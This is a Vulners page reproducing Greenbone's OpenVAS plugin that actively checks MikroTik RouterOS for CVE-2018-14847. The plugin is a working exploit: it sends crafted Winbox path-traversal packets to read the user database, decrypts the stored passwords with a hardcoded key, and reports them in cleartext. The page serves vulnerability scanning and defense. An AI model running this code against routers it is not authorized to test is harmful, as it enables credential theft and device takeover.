Lucene search
+L

Mikrotik RouterOS 'Winbox Service' Information Disclosure Vulnerability (Apr 2018) - Active Check

🗓️ 06 Jul 2018 00:00:00Reported by Copyright (C) 2018 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 1768 Views

Mikrotik RouterOS 'Winbox Service' Information Disclosure Vulnerabilit

Related
Refs
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Path Traversal in Mikrotik Routeros
24 Jun 201805:34
githubexploit
GithubExploit
Exploit for Path Traversal in Mikrotik Routeros
20 May 202620:58
githubexploit
GithubExploit
EXPLOIT_POC
19 Jul 202617:04
githubexploit
GithubExploit
Exploit for Path Traversal in Mikrotik Routeros
26 Jun 201819:58
githubexploit
GithubExploit
Exploit for Path Traversal in Mikrotik Routeros
31 Oct 202206:38
githubexploit
GithubExploit
Exploit for Path Traversal in Mikrotik Routeros
13 Oct 201819:17
githubexploit
GithubExploit
Exploit for Path Traversal in Mikrotik Routeros
29 Sep 201912:21
githubexploit
GithubExploit
Exploit for Path Traversal in Mikrotik Routeros
15 Dec 201810:38
githubexploit
GithubExploit
Exploit for Path Traversal in Mikrotik Routeros
21 Apr 202116:42
githubexploit
Gitee
Exploit for Path Traversal in Mikrotik Routeros
21 Oct 202111:42
gitee
Rows per page
# SPDX-FileCopyrightText: 2018 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/o:mikrotik:routeros";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.141279");
  script_version("2025-02-19T05:37:55+0000");
  script_tag(name:"last_modification", value:"2025-02-19 05:37:55 +0000 (Wed, 19 Feb 2025)");
  script_tag(name:"creation_date", value:"2018-07-06 14:10:44 +0200 (Fri, 06 Jul 2018)");
  script_tag(name:"cvss_base", value:"6.4");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:N");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2025-01-23 17:23:23 +0000 (Thu, 23 Jan 2025)");

  script_cve_id("CVE-2018-14847");

  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Mikrotik RouterOS 'Winbox Service' Information Disclosure Vulnerability (Apr 2018) - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2018 Greenbone AG");
  script_family("General");
  script_dependencies("gb_mikrotik_router_routeros_consolidation.nasl");
  script_mandatory_keys("mikrotik/routeros/detected");
  script_require_ports(8291);

  script_tag(name:"summary", value:"Mikrotik RouterOS is prone to an information disclosure
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted request and checks the response.");

  script_tag(name:"insight", value:"The flaw exists due to an error in the winbox service of
  routeros which allows remote users to download a user database file without successful
  authentication.");

  script_tag(name:"impact", value:"Successful exploitation will allow a remote attacker to connect
  to the WinBox port and download a user database file. The remote user can then log in and take
  control of the router.");

  script_tag(name:"affected", value:"MikroTik Router OS versions 6.29 through 6.42, 6.43rcx prior
  to 6.43rc4.");

  script_tag(name:"solution", value:"Update to version 6.42.1, 6.43rc4 or later.");

  script_xref(name:"URL", value:"https://forum.mikrotik.com/viewtopic.php?t=133533");
  script_xref(name:"URL", value:"https://n0p.me/winbox-bug-dissection/");
  script_xref(name:"URL", value:"https://github.com/BasuCert/WinboxPoC");
  script_xref(name:"CISA", value:"Known Exploited Vulnerability (KEV) catalog");
  script_xref(name:"URL", value:"https://www.cisa.gov/known-exploited-vulnerabilities-catalog");

  exit(0);
}

port = 8291;

if (!get_tcp_port_state(port))
  exit(0);

soc = open_sock_tcp(port);
if (!soc)
  exit(0);

query1 = raw_string(0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00,
                    0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07,
                    0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21,
                    0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f,
                    0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f,
                    0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f,
                    0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66,
                    0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f,
                    0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73,
                    0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00,
                    0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
                    0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88,
                    0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00,
                    0x00, 0x00);

send(socket: soc, data: query1);
recv = recv(socket: soc, length: 1024);

if (!recv || strlen(recv) < 39) {
  close(soc);
  exit(0);
}

sessionid = recv[38];

query2 = raw_string(0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00,
                    0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01,
                    0x00, 0xfe, 0x09, sessionid, 0x02, 0x00, 0x00, 0x08,
                    0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09,
                    0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00,
                    0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01,
                    0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00,
                    0x00, 0x02, 0x00, 0x00, 0x00);

send(socket: soc, data: query2);
recv = recv(socket: soc, length: 1024);
close(soc);

if (!recv || "M2" >!< recv)
  exit(0);

entries = split(recv, sep: "M2", keep: FALSE);
foreach entry (entries) {
  # Username
  idx = stridx(entry, raw_string(0x01, 0x00, 0x00, 0x21)); # marker for username
  if (idx < 0)
    continue;

  user_len = ord(entry[idx + 4]);
  username = substr(entry, idx+5, idx+5+user_len-1);

  # Password
  idx = stridx(entry, raw_string(0x11, 0x00, 0x00, 0x21)); # marker for password
  if (idx < 0)
    continue;

  password = "";
  pw_len = ord(entry[idx + 4]);
  if (pw_len == 0) {
    password = "No/empty password";
  } else {
    pw = substr(entry, idx+5, idx+5+pw_len-1);
    key = MD5(username + '283i4jfkai3389');

    for (i=0; i < strlen(pw); i++) {
      char = ord(pw[i]) ^ ord(key[i % strlen(key)]);
      if (char == 0)
        break;
      else
        password += raw_string(ord(pw[i]) ^ ord(key[i % strlen(key)]));
    }
  }

  credentials += 'Username:  ' + username + '\nPassword:  ' + password + '\n\n';
}

if (credentials) {
  report = 'It was possible to obtain the following credentials:\n\n' + credentials;
  security_message(port: port, data: report);
  exit(0);
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Feb 2025 00:00Current
9.4High risk
Vulners AI Score9.4
CVSS 26.4
CVSS 3.19.1
EPSS0.96087
SSVC
1768